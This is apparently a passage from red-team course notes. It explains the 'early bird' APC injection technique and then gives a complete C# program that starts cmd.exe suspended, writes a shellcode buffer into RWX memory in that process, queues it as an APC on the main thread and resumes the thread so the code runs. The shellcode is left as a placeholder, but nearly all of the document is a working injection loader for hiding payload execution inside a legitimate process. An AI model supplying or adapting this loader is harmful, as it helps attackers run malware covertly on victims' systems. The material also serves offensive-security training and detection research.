The downside with the APC method is that there's no guarantee that the selected thread will become alertable, and therefore the shellcode will not run. You could queue an APC on every thread in the process, but that would almost certainly lead to a crash. The 'early bird' technique gets around this by spawning a new process in a suspended state, queuing the APC on its primary thread, then resuming the process. This way, the APC is guaranteed to trigger.



using System.Runtime.InteropServices;
namespace CRTO
 {
     internal class EarlyBird
     {
         // --- WinAPI P/Invoke definitions ---
         [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
         static extern bool CreateProcess(
             string lpApplicationName,
             string lpCommandLine,
             IntPtr lpProcessAttributes,
             IntPtr lpThreadAttributes,
             bool bInheritHandles,
             uint dwCreationFlags,
             IntPtr lpEnvironment,
             string lpCurrentDirectory,
             ref STARTUPINFOW lpStartupInfo,
             out PROCESS_INFORMATION lpProcessInformation);
      [DllImport("kernel32.dll", SetLastError = true)]
         static extern IntPtr VirtualAllocEx(
             IntPtr hProcess,
             IntPtr lpAddress,
             uint dwSize,
             uint flAllocationType,
             uint flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
         static extern bool WriteProcessMemory(
             IntPtr hProcess,
             IntPtr lpBaseAddress,
             byte[] lpBuffer,
             uint nSize,
             out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
         static extern uint QueueUserAPC(
             IntPtr pfnAPC,          // PAPCFUNC — here, the address of our shellcode
             IntPtr hThread,         // handle to the target (suspended) thread
             UIntPtr dwData);        // single argument passed to the APC function
        [DllImport("kernel32.dll", SetLastError = true)]
         static extern uint ResumeThread(IntPtr hThread);
        [DllImport("kernel32.dll", SetLastError = true)]
         static extern bool CloseHandle(IntPtr hObject);
        // --- Constants ---
        const uint CREATE_SUSPENDED = 0x4;
         const uint MEM_COMMIT = 0x1000;
         const uint MEM_RESERVE = 0x2000;
         const uint PAGE_EXECUTE_READWRITE = 0x40;
        // --- Structures (match the native layouts) ---
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
         public struct STARTUPINFOW
         {
             public uint cb;
             public string lpReserved;
             public string lpDesktop;
             public string lpTitle;
             public uint dwX;
             public uint dwY;
             public uint dwXSize;
             public uint dwYSize;
             public uint dwXCountChars;
             public uint dwYCountChars;
             public uint dwFillAttribute;
             public uint dwFlags;
             public ushort wShowWindow;
             public ushort cbReserved2;
             public IntPtr lpReserved2;
             public IntPtr hStdInput;
             public IntPtr hStdOutput;
             public IntPtr hStdError;
         }
        [StructLayout(LayoutKind.Sequential)]
         public struct PROCESS_INFORMATION
         {
             public IntPtr hProcess;
             public IntPtr hThread;
             public uint dwProcessId;
             public uint dwThreadId;
         }
        static void Main()
         {
             byte[] shellcode = new byte[] { /* your shellcode bytes go here */ };
            STARTUPINFOW si = new STARTUPINFOW();
             si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFOW));
             si.dwFlags = 0x1; // STARTF_USESHOWWINDOW
            PROCESS_INFORMATION pi;
            // Spawn the process in a suspended state
             if (!CreateProcess(
                 @"C:\Windows\System32\cmd.exe",
                 null,
                 IntPtr.Zero,
                 IntPtr.Zero,
                 false,
                 CREATE_SUSPENDED,
                 IntPtr.Zero,
                 @"C:\Windows\System32",
                 ref si,
                 out pi))
             {
                 Console.WriteLine($"CreateProcess failed. Error: {Marshal.GetLastWin32Error()}");
                 return;
             }
            Console.WriteLine($"Spawned suspended process. PID: {pi.dwProcessId}");
            // Allocate a region of memory in the newly spawned process
             IntPtr hMemory = VirtualAllocEx(
                 pi.hProcess,                    // handle to the newly spawned process
                 IntPtr.Zero,
                 (uint)shellcode.Length,
                 MEM_COMMIT | MEM_RESERVE,
                 PAGE_EXECUTE_READWRITE);
            if (hMemory == IntPtr.Zero)
             {
                 Console.WriteLine($"VirtualAllocEx failed. Error: {Marshal.GetLastWin32Error()}");
                 CloseHandle(pi.hThread);
                 CloseHandle(pi.hProcess);
                 return;
             }
            // Write the shellcode into the child process memory
             if (!WriteProcessMemory(
                 pi.hProcess,
                 hMemory,
                 shellcode,
                 (uint)shellcode.Length,
                 out _))
             {
                 Console.WriteLine($"WriteProcessMemory failed. Error: {Marshal.GetLastWin32Error()}");
                 CloseHandle(pi.hThread);
                 CloseHandle(pi.hProcess);
                 return;
             }
            // Queue the APC on the suspended main thread
             if (QueueUserAPC(hMemory, pi.hThread, UIntPtr.Zero) == 0)
             {
                 Console.WriteLine($"QueueUserAPC failed. Error: {Marshal.GetLastWin32Error()}");
                 CloseHandle(pi.hThread);
                 CloseHandle(pi.hProcess);
                 return;
             }
            // Resume the process — the main thread starts, enters an alertable
             // state during initialization, and our APC (shellcode) fires
             ResumeThread(pi.hThread);
            // Tidy up our handles
             CloseHandle(pi.hThread);
             CloseHandle(pi.hProcess);
         }
     }
 }